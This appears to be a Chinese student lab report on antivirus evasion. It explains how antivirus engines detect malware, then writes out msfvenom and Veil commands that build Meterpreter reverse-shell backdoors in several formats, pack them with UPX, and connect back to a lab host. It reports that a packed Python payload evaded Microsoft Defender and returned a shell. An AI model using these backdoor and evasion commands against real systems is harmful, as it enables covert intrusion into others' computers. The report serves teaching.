免杀原理
1.基础问题回答
- 杀软是如何检测出恶意代码的?
- 基于特征码的静态扫描技术
在文件中寻找特定的十六进制字符串,如果找到,就可判定文件感染了某种病毒。
- 启发式杀毒技术
病毒要达到感染和破坏的目的,通常的行为都会有一定的行为和特征,所以可以通过分析相关的病毒指令,判断其出现的次序,或组合、排列情况等病毒的标准特征来决定文件是否感染病毒,甚至是否有“未知”病毒迹象。
- 行为查杀技术
根据病毒的行为特征来识别病毒,这需要对病毒行为进行详细的分类和研究,分析那些病毒共同的行为,以及正常程序的罕见行为,根据程序运行时的行为进行病毒判断和预警。将行为过程转化为杀毒软件自身可识别的行为标识符,然后与病毒库中所存贮的行为信息进行对应,并作出相应处理。
- 虚拟机技术
查毒引擎的虚拟机是一个软件模拟的CPU,它可以像真正CPU一样取值,译码,执行,可以模拟一段代码在真正CPU上运行得到的结果。设计虚拟机查毒的目的,就是为了对付加密变形病毒,虚拟机首先从文件中确定并读取病毒入口处代码,然后以上述工作步骤解释执行病毒头部的解密段(Decryptor),最后在执行完的结果(解密后的病毒体明文)中查找病毒的特征码。
- 脱壳技术
脱壳技术是一种十分常用的技术,可以对压缩文件、加壳文件、加花文件、封装类文件进行分析的技术。
- 免杀是做什么?
- 免杀就是让安插的后门程序不被AV软件发现。
- 免杀的基本方法有哪些?
- 改变特征码
如果你手里只有EXE,可以尝试加壳技术:压缩壳技术和加密壳技术。
如果你有shellcode(像Meterpreter),可以尝试用encode进行编码或基于payload重新编译生成可执行文件。
如果你有源代码,可以尝试用其他语言进行重写再编译(veil-evasion)- 改变行为
在通讯方式上,尽量使用反弹式连接、使用隧道技术、加密通讯数据。
在操作模式上,尽量基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码.- 修改内存特征码
- 等价替换法
把特征码所对应的汇编指令命令中替换成功能类拟的指令
- 通用跳转法
把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行
- 非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件 - 开启杀软能绝对防止电脑中恶意代码吗?
- 不能。
首先,我们用的杀毒软件不一定是最先进的杀毒软件。其次,即使是最先进的杀毒软件,也不一定能防范所有未知的病毒。
2.实验过程
2.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
先生成一个正常的后门程序进行测试:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.178.130 LPORT=1206 -f exe > 20201230backdoor.exe
生成jar文件并检测:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.178.130 LPORT=1206 -f jar > 20201230backdoor.jar
生成php文件并检测:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.178.130 LPORT=1206 -f raw > 20201230backdoor.php
生成python文件并检测:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.178.130 LPORT=1206 -f raw > 20201230backdoor.py
更换payload重新检测:
msfvenom -p python/meterpreter/reverse_tcp_ssl LHOST=192.168.178.130 LPORT=1206 -f raw > 20201230backdoor.py
2.2veil,加壳工具
使用veil生成一个C语言程序并检测:
veil
use Evasion
list
use c/meterpreter/rev_tcp.py //一共41个payload,用一个经典的 C 语言的meterpreter/reverse_tcp
options
set LHOST 192.168.178.130
set LPORT 1206
generate
可以看出检测率很高,试一下go语言:
use go/meterpreter/rev_tcp.py
更高了!!将C语言文件加壳并测试:
2.3使用C + shellcode编程
生成C代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.178.130 LPORT=1206 -f c
检测一下:
2.4通过组合应用各种技术实现恶意代码免杀
veil + msfvenom 生成后门,upx 加壳
use go/shellcode_inject/virtual.py
generate
2 //用 MSF 的payload
set LHOST 192.168.178.130
set LPORT 1206
附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
环境:Win10 Microsoft Defender + 联想电脑管家
python 环境下,msf的一个 python payload 是可以绕过多数杀毒软件,直接回连成功的
msfvenom -p python/meterpreter/reverse_tcp_ssl LHOST=192.168.178.130 LPORT=1206 -f raw > 20201230test.py
win10 运行 python 文件,kali msfconsole 监听,获得 win10 shell
有一定局限性,需要有 python 环境,并用 python 运行后门文件。
接着用 pyinstaller 或 py2exe 把 python 文件 打包成 exe 文件,运行获得shell
检测一下
杀软没反应:
3.实验体会
标签:python,192.168,tcp,LPORT,实验,张国强,20201230,meterpreter,病毒 From: https://www.cnblogs.com/RookieHacker1230/p/17373825.html本次实验让我感受到了杀毒软件并不是真正的保护伞,虽然说目前基本没有黑客愿意花时间、精力和金钱攻击个人电脑,但不怕一万就拍万一。同时学到了病毒的制作技术,和杀软的技术 肯定是相互促进的。不会制作病毒,也就做不出好的杀毒软件。所说基于行为的检测机制,能防范一些未知的病毒,但现在一定存在着能够绕过行为检测的病毒。最后理解了杀毒软件的工作原理,和病毒免杀的基本方法,受益匪浅。